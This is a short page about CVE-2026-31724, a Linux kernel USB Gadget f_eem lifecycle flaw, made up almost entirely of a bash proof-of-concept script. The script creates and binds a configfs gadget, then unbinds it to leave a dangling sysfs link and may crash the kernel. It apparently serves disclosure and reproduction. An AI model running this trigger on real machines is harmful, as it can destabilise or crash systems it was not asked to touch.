CVE-2026-31724 Linux内核USB Gadget生命周期漏洞

#!/bin/bash # PoC to reproduce the sysfs dangling symlink issue in Linux Kernel f_eem # This requires a system with USB Gadget configfs support. modprobe libcomposite # Setup USB Gadget directory GADGET_DIR="/sys/kernel/config/usb_gadget/poc_eem" mkdir -p $GADGET_DIR cd $GADGET_DIR # Configure basic device IDs echo 0x1d6b > idVendor echo 0x0104 > idProduct mkdir -p strings/0x409 echo "PoC" > strings/0x409/manufacturer echo "EEM Vuln" > strings/0x409/product # Create configuration mkdir -p configs/c.1/strings/0x409 echo "Config" > configs/c.1/strings/0x409/configuration # Create EEM function and link to config mkdir -p functions/eem.usb0 ln -s functions/eem.usb0 configs/c.1 # Find available UDC (USB Device Controller) UDC=$(ls /sys/class/udc | head -n 1) if [ -n "$UDC" ]; then echo "Activating Gadget with UDC: $UDC" echo $UDC > UDC # Sleep to allow initialization sleep 1 echo "Net device registered. Checking sysfs..." ls -l /sys/class/net/usb0 echo "Deactivating Gadget to trigger the vulnerability..." echo "" > UDC # At this point, the gadget device is destroyed but net_device might linger # causing a dangling symlink in sysfs. echo "Checking sysfs status after unbind..." ls -l /sys/class/net/usb0 # Attempt to access the dangling path (may cause error or crash) cat /sys/class/net/usb0/uevent 2>/dev/null && echo "Access OK" || echo "Access Failed (Dangling link)" else echo "No UDC available. Cannot test." fi # Cleanup cd / rm -rf $GADGET_DIR